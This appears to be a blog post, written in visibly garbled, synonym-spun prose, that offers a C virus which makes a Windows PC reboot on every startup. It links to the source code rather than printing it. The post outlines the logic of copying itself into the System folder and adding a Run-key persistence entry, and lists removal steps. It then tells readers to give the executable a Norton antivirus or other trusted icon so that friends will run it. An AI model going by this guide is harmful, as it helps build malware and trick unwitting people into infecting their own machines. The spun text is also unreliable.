A Virus Program to Restart the Computer

A Virus Program to Restart the Computer

In this post, I will demonstrate to you generally accepted methods to make an infection to restart the PC at each startup. That is, upon contamination, the PC will get restarted each time the framework is booted. Subsequently, the PC will end up plainly inoperable as it reboots again when the desktop is stacked. 

For this, the infection should be executed just once and from that point on, it will complete rest of the operation all alone. I have customized this infection utilizing the C dialect. In the event that you know about the C dialect then it is too straightforward the rationale behind the coding. The code is not posted here in this article, but rather you can download it from the connection underneath.

Compiling the source code into an executable module:

1. Download the Source Code Here.
2. UnRar the file and you should see the source code: Sysres.C
3. For a step-by-step compilation guide, refer my post: How to compile C Programs?

Testing and expelling the infection from your PC: 

You can arrange and test this infection all alone PC with no dread. To test, simply double tap the sysres.exe record and restart the framework physically. Starting now and into the foreseeable future, each time the PC is booted and the desktop is stacked, your PC will restart naturally over and over. 

It won't do any damage separated from naturally restarting your framework. In the wake of testing it, you can evacuate the infection by taking after the underneath said steps:

1. Reboot your computer in the safe mode.
2. Go to:
   %systemroot%\Windows\System
   (%systemroot% can be C,D,E or F)
3. You will find a file by name sysres.exe, delete it.
4. Type regedit in run. You will go to the registry editor. Here navigate to:
   HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run
   There, on the right site you will see an entry by name “sres“. Delete this entry. That’s it. You have now removed this virus successfully.

Rationale Behind the working of this infection program: 

In the event that I don't clarify the logic(Algorithm) behind the working of the infection program, I think this post would turn into a fragmented one. So I'll clarify the rationale in an improved way without getting much into the specialized parts of the program. On the off chance that you have additionally questions, you can pass your remarks.

LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next, it will determine whether or not the virus file (sysres.exe) is already copied into %systemroot%\Windows\System.
3. If not it will just place a copy of itself into %systemroot%\Windows\Systemand makes a registry entry to put this virus file into the Windows startup.
4. Or else if the virus is already found in the%systemroot%\Windows\System directory (folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click theSysres.exe file.The restarting process will occur from the next boot of the system.

How to change the icon of the executable module (This step is optional):

After you assemble, the sysres.exe document that you get will have a default symbol. In the event that you send this record to your companions they may not execute it since it has a default ICON. So it is conceivable to change the ICON of this Sysres.exe document into some other ICON that is more trusted and looks appealing. 

For instance, you can change the symbol into Norton antivirus ICON itself so that the general population seeing this document trusts that it is Norton antivirus. Or, on the other hand you can change its ICON into the ICON of any well known or trusted projects with the goal that individuals will tap on it.

A Virus Program to Restart the Computer